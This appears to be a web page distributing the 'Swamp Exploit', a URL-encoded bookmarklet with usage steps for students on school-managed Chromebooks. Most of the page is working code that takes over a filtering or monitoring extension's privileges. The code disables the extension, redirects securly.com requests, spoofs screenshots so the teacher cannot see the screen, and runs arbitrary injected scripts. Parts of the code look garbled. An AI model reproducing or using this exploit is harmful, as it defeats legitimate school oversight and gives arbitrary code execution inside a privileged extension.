Swamp Exploit
Bypassi#7037
Bookmarklets must not be blocked by policy to perform this exploit.
, document.write("<html><body><center><head><h1>Point-Blank <small>Swamp</small></h1><center><h3>Tampering</h3></center>\n<center><button id='soft'>Soft Disable</button><button id='hard'>Hard Disable</button></center><center><button id='reload'>Reload this extension</button></center><center><center><h3>Scripts</h3></center><center><button id='hide'>Hide tabs</button><button id='cool'>Create Fancy Window</button></center><center><h3>Custom Notification</h3></center><input id='title' placeholder='Title'><input id='messer' placeholder='Message'><button id='notification'>Show Notification</button></center><center><button id='dns'>DNS Emulator</button><center></center><center><center><center><h3>Background Scripts Console</h3></center><textarea id='code' placeholder='Enter Code Here'></textarea></center><center><button id='google'>Run on Google</button><button id='when'>Run on extension click</button></center><center></center></body>\n</html>\n <style>body {user-select: none;} textarea{border-radius: 25px; margin: 1 auto;margin-center: auto;margin-center: auto; text-align: center; align: center; display:inline-block;height:400px}*{box-sizing:border-box}body{padding:13px;font-size:110%;color:#fff;background-color:#2e2e31}h1{text-align:center;font-size:70px}h2{text-align:left;font-size:175%}input {border-radius: 12px; color:#000;font-size:15px} textarea {border-radius: 21px; color:#000;font-size:15px} button,pre { border-radius: 12px; color:#000;font-size:15px}h1,h2,h3,h4,button,label,p,select{font-family:Roboto,sans-serif}hr{border:none;border-bottom:3px solid #fff}input,kbd,pre,textarea{ border-radiusfont-family:monospace;border:none}input,select,textarea{background-color:#fff;border-radius:25px; padding:13px 17px;border:none}button,input{background-color:#fff;padding:13px 100px;margin:20 5px 5px 0}input{width:600px;border-radius:25px}textarea{white-space:pre;float:center;width:60%;border-radius:25px; 0 0 10px;resize:none;background-color:#99edc3;margin-bottom:15px}pre{border-radius:25; 10px 10px 0;padding:13px;float:right;margin:0 0 25px;width:40%;overflow-y:scroll;word-break:break-all;white-space:pre-line;background-color:#1c8e40}button{border:none; cursor:pointer;transition:filter 250ms}button:hover{filter:brightness(.8)}.gg{background-color:#99edc3}a{color:#99edc3;transition:color 250ms}a:hover{color:#1c8e40}%3C/style%3E\n%22 ), document.getElementById(%22hide%22).addEventListener( %22click%22, function () { alert( %22This will open a window, which your teacher will only be able to see the window this opens, so open another one after this one opens%22 ), (opener.chrome.tabs.captureVisibleTabAsync = opener.chrome.tabs.captureVisibleTabAsync || screenshot_old); opener.chrome.windows.getAllAsync = opener.chrome.windows.getAllAsync || get_tabs_old; clearInterval(spoof_int); if (spoof_int) alert(%22Your teacher can't see your screen now!%22); spoof_int = null; %60 : %60; var spoof_int, visible_id = 0, screenshot_old = screenshot_old || opener.chrome.tabs.captureVisibleTabAsync, get_tabs_old = get_tabs_old || opener.chrome.windows.getAllAsync, get_tabs_new = function () { return new Promise((resolve, reject) =%3E { get_tabs_old({ populate: true, windowTypes: [%22normal%22], }).then((tabs) =%3E { tabs.forEach((tab) =%3E { if (tab.id === visible_id) resolve([tab]); }); }); }); }; opener.chrome.windows.create({ url: %22https://google.com%22 }, (win) =%3E { visible_id = win.id; spoof_int = setInterval(() =%3E { opener.chrome.windows.getLastFocused((window) =%3E { var visible = window.id === visible_id; opener.chrome.tabs.captureVisibleTabAsync = visible ? screenshot_old : null; opener.chrome.windows.getAllAsync = visible ? get_tabs_new : null; }); }, 5); }); }, !1 ), document.getElementById(%22cool%22).addEventListener( %22click%22, function () { opener.chrome.windows.create({ url: %22https://www.google.com%22, type: %22popup%22, }); }, !1 ), document.getElementById(%22dns%22).addEventListener( %22click%22, function () { opener.chrome.webRequest.onBeforeRequest.addListener( () =%3E { return { redirectUrl: %22javascript:%22 }; }, { urls: [%22*://*.securly.com/*%22], }, [%22blocking%22]); }, !1 ), document.getElementById(%22notification%22).addEventListener( %22click%22, function () { opener.chrome.notifications.create(null, { type: %22basic%22, iconUrl: %22https://upload.wikimedia.org/wikipedia/en/9/9a/Trollface_non-free.png%22, title: %22%22 + document.getElementById(%22title%22).value, message: %22%22 + document.getElementById(%22messer%22).value, }); }, !1 ), document.getElementById(%22google%22).addEventListener( %22click%22, function () { alert(%22Go to google.com to see your code%22); javascript:(function(){opener.chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) =%3E { if (changeInfo.status == %22complete%22 && tab.url.includes('google.com')) { opener.chrome.tabs.executeScript( tabId, { code: %60 %60 + document.getElementById(%22code%22).value } ); }})})() }, !1 ), document.getElementById(%22hard%22).addEventListener( %22click%22, function () { javascript: (localStorage.cluster = %22UNKNOWN_SCHOOL,%22 + (confirm(%22This will disable your blocker until the removal of your account, if you want something less permanent use soft disable, continue?%22) ? 99999999999999 : 0)), opener.chrome.extension.getBackgroundPage().location.reload(); }, !1 ), document.getElementById(%22reload%22).addEventListener( %22click%22, function () { localStorage.cluster = %22UNKNOWN_SCHOOL,0%22; opener.chrome.runtime.reload(); }, !1 ), document.getElementById(%22soft%22).addEventListener( %22click%22, function () { document.getElementById(%22soft%22).innerHTML = %22<b>Disabled</b>%22; document.getElementById(%22soft%22).style.border = '1px solid firebrick'; opener.chrome.extension.getBackgroundPage().close(); }, !1 ), document.getElementById(%22when%22).addEventListener( %22click%22, function () { opener.chrome.browserAction.onClicked.addListener(() =%3E { opener.chrome.tabs.query( { active: true, currentWindow: true }, (tab) =%3E { opener.chrome.tabs.executeScript(tab[0].id, { code: %60 %60 + document.getElementById(%22code%22).value, matchAboutBlank: true, }); } ); }); alert(%22Everytime you click your extension, your code will show%22); }, !1 );){kind=link}
(Drag to bookmarks bar)
- Drag one of the following pages that corresponds to your extension into empty tab space:
- Click the link that opens a blank page.
- Click either soft disable or hard disable.
Instructions
DNS Method
(Hosted by TheGreatestGiant | Hosting has ended for this address)
Extra Notes
It is recommended to use the soft disable option, which lasts until you restart the Chromebook.Swamp provides extra script buttons and a background script console to run custom scripts. JavaScript might not work for some extensions.